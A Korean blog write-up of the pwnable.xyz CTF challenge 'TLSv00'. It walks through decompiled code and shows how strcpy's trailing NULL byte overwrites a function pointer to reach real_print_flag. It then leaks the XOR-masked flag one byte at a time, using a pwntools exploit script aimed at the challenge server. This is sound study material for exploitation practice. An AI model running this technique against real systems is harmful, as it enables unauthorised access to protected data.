-
TLSv00 write upSystem hacking training/pwnable.xyz 2020. 5. 4. 17:18
바이너리에 모든 메모리 보호기법이 적용되어있다.
TLSv00을 풀이하기 위해서는 각각의 기능에 대해 조금은(?) 자세하게 알고있어야한다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int idx; // eax@2 int size; // ST0C_4@9 setup(); puts("Muahaha you thought I would never make a crypto chal?"); generate_key(63u); while ( 1 ) { while ( 1 ) { while ( 1 ) { print_menu(); printf("> ", argv); idx = read_int32(); if ( idx != 2 ) break; load_flag(); } if ( idx > 2 ) break; if ( idx != 1 ) goto LABEL_12; printf("key len: "); size = read_int32(); generate_key(size); } if ( idx == 3 ) { print_flag(); } else if ( idx != 4 ) { LABEL_12: puts("Invalid"); } } }
main()함수는 다음과 같이 구성되어있고,
루프에 돌기 전 setup(), generate_key()함수를 호출하여 세팅을 하고,
무한루프를 돌며 if문의 조건에 따라 generate_key(), load_flag(), print_flag()함수로 분기한다.
generate_key()함수는 그림과 같이 main()함수에서 두번 호출되는데,
첫 번째 호출은 루프를 돌기 전, 이후는 사용자가 1을 입력했을 때 호출된다.
사용자가 1을 입력할 경우 main()에서 read_int32()를 통해 size를 입력받고, generate_key()함수로 분기하는데,
__int64 __fastcall generate_key(unsigned int size) { signed int idx; // [sp+18h] [bp-58h]@7 int fd; // [sp+1Ch] [bp-54h]@4 char buf[72]; // [sp+20h] [bp-50h]@4 __int64 v5; // [sp+68h] [bp-8h]@1 v5 = *MK_FP(__FS__, 40LL); if ( (signed int)size > 0 && size <= 64 ) { memset(buf, 0, 72uLL); fd = open("/dev/urandom", 0); if ( fd == -1 ) { puts("Can't open /dev/urandom"); exit(1); } read(fd, buf, (signed int)size); for ( idx = 0; idx < (signed int)size; ++idx ) { while ( !buf[idx] ) read(fd, &buf[idx], 1uLL); } strcpy(key, buf); close(fd); } else { puts("Invalid key size"); } return *MK_FP(__FS__, 40LL) ^ v5; }
해당 함수에서는 사용자가 입력한 size가 0보다 크고, 64를 넘기지 않는 수 인지 검사하고,
size가 1~64 사이의 값일때 해당 사이즈에 만족하는 랜덤값을 buf에 넣고, key에 strcpy()함수로 값복사를 한다.
다음으로 main()으로 돌아와 2를 입력할 경우 load_flag()함수가 호출되는데,
int load_flag() { unsigned int idx; // [sp+8h] [bp-8h]@4 int fd; // [sp+Ch] [bp-4h]@1 fd = open("/flag", 0); if ( fd == -1 ) { puts("Can't open flag"); exit(1); } read(fd, flag, 64uLL); for ( idx = 0; idx <= 63; ++idx ) flag[idx] ^= key[idx]; return close(fd); }
load_flag()함수에서는 말 그대로 /flag파일에서 값을 읽어와 전역으로 선언된 flag배열에 key값과 xor하여 저장을 한다.
마지막으로 다시 main()으로 돌아와서 3을 입력하면 print_flag()함수가 호출된다.
int print_flag() { int result; // eax@1 puts("WARNING: NOT IMPLEMENTED."); result = (unsigned __int8)do_comment; if ( !(_BYTE)do_comment ) { printf("Wanna take a survey instead? "); if ( getchar() == 'y' ) do_comment = (int (*)(void))f_do_comment; result = do_comment(); } return result; }
printf_flag()함수는 do_comment에 저장된 값을 result에 넣고, 만약 해당 변수에 값이 없을 경우 사용자로부터 입력을 받고, 입력 값이 'y'일 경우 f_do_comment()함수의 주소를 저장하게 된다.
이후 해당 위치에 저장된 함수가 호출되게 된다.
__int64 f_do_comment() { char buf; // [sp+10h] [bp-30h]@1 __int64 v2; // [sp+38h] [bp-8h]@1 v2 = *MK_FP(__FS__, 40LL); printf("Enter comment: "); read(0, &buf, 0x21uLL); return *MK_FP(__FS__, 40LL) ^ v2; }
f_do_comment()함수에서는 buffer에 0x21만큼을 입력받는다.
int real_print_flag() { return printf("%s", flag); }
그리고 real_print_flag()라는 함수가 존재하는데, flag변수의 값을 %s로 출력해주는 역할을 한다.
공격 시나리오는 다음과 같다.
1. f_do_comment()함수의 주소를 가리키는 do_comment가 real_print_flag()함수의 주소를 가리키도록 변조한다.
2. Re-generate key, Load flag, Print flag 기능을 이용하여 flag를 1byte씩 뽑아낸다.
setup(), generate_key()함수를 거치고, main()함수 루프에 들어오게 되면
다음과 같이 63byte의 난수가 key라는 변수에 저장되고
3번 메뉴를 실행한 뒤 'y'를 입력하면 다음과 같이 do_comment에 f_do_comment()함수의 주소가 저장되는데,
공교롭게도 real_print_flag()함수의 주소는 00으로 끝난다.
전역변수인 key는 64byte 크기를 갖고 바로 뒤에 do_comment변수가 위치하게 되는데,
generate_key()함수에서 보면 key를 저장할 때 strcpy()함수를 이용하여 저장을 한다.
genrate_key()함수에서 read할 수 있는 size의 최대 크기는 64이고,
strcpy()함수는 문자열 복사가 끝난 뒤 NULL byte를 넣음으로서 문자열의 끝임을 알리기 때문에
generate_key()함수에 인자값으로 64를 입력하게 되면 do_comment가 가리키는 주소의 첫 번째 byte가 NULL byte로 Overwrite되게 된다.
이를 통해 do_comment는 f_do_comment()함수의 주소가 아닌 real_print_flag()함수의 주소를 가리키게되고,
사용자가 Print flag(input 3)을 진행하면 real_print_flag()함수가 호출되게 된다.
key를 생성할 때 1부터 64까지 사용자가 직접 조절할 수 있고, generate_key()함수 내부에서 key에 값을 복사할 때 strcpy()함수를 사용함으로서 항상 문자열 끝에는 NULL byte가 붙을 것이다.
이를 이용하면 plain 상태의 flag를 출력할 수 있는데, 과정은 다음과 같다.
Re-generate key (1~64) -> Load flag -> Print flag
generate_key()에 1byte의 key가 생성되면
| 난수(1byte) | NULL (1byte) |
위의 형태로 key가 세팅되고, 여기서 Load flag를 하게 되면
해당 key와 flag값이 xor연산이 되어 flag라는 변수에 저장되게 되는데
0과 어떠한 수를 xor연산하더라도 원본 그대로를 출력한다.
이 점을 이용하여 size를 1부터 64까지 조정하며 flag를 출력하면 된다.
from pwn import * # p = process('./challenge') p = remote("svc.pwnable.xyz", 30006) # Step 1. f_do_comment() -> real_print_flag() # f_do_comment() -> real_print_flag() p.sendlineafter('> ', '3') p.sendlineafter('instead? ', 'y') p.sendlineafter('> ', '1') p.sendlineafter('len: ', '64') flag = '' for idx in range(1,63): # input 1 ~ 64 : idx p.sendlineafter('> ', '1') p.sendlineafter('len: ', str(idx)) # load flag p.sendlineafter('> ', '2') # call real_print_flag() p.sendlineafter('> ', '3') p.sendlineafter('instead? ', 'a') # print "RECV :", p.recv(64)[idx:idx+1] flag += p.recv(64)[idx:idx+1] print "RECV :F" + flag p.interactive()
:)
반응형'System hacking training > pwnable.xyz' 카테고리의 다른 글
Free Spirit write up (0) 2020.04.04 two targets write up (0) 2020.02.06 xor write up (0) 2020.02.05 note write up (1) 2020.01.10 GrownUp write up (0) 2020.01.02